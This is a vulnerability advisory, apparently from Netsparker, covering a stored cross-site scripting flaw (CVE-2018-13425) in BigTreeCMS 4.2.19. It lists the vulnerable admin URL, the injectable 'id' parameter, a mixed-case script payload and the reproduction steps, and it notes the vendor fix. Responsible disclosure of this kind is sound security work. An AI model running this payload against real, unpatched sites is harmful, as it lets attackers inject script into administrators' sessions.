NS-18-005 | BigTreeCMS vulnerable to Stored Cross-site Scripting

Information
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Advisory by Netsparker
Name: Stored Cross-site Scripting Vulnerability in BigTreeCMS 4.2.19
Affected Software: BigTreeCMS
Affected Versions: 4.2.19
Homepage: https://www.bigtreecms.org/
Vulnerability: Stored Cross-site Scripting
Severity: Medium
Status: Fixed
CVE-ID: CVE-2018-13425
CVSS Score (3.0) : CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N
Netsparker Advisory Reference: NS-18-005

Injection Technical Details
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URL: http://{domain}/{bigtree_path}/site/index.php/admin/ajax/auto-modules/views/delete/?view=2&id=<scRipt>alert(21)</scRipt>&__csrf_token_{csrf_token_name}__={csrf_token_value}
Parameter Name: id
Parameter Type: GET
Attack Pattern: <scRipt>alert(21)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Injection Repro
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Login with any user
Go to http://localhost/bigtree/site/index.php/admin/trees/
Any element in the list is modified from the deletion link's href attribute to developer to

Before: <a href="#3" class="icon_delete js-delete-hook"></a>
After: <a href="#3' <scRipt>alert(21)</scRipt>" class="icon_delete js-delete-hook"></a>

Click delete button and sending XHR

Identification Technical Details
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URL: http://{domain}/{bigtree_path}/site/index.php/admin/developer/audit/search/?user={user_id}&__csrf_token_{csrf_token_name}__={csrf_token_value}

Identification Repro
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Login admin
Go to http://localhost/bigtree/site/index.php/admin/developer/audit/
Select "Injection Repro"'s user from "User" combobox
Click search button and trigger XSS payload

Advisory Timeline
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9th July 2018- First Contact
11th July 2018 - Vendor Fixed
9th August 2018 - Advisory Released

Credits & Authors
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These issues have been discovered by Omer Citak and Mithat Gogebakan while testing Netsparker Web Application Security Scanner.

About Netsparker
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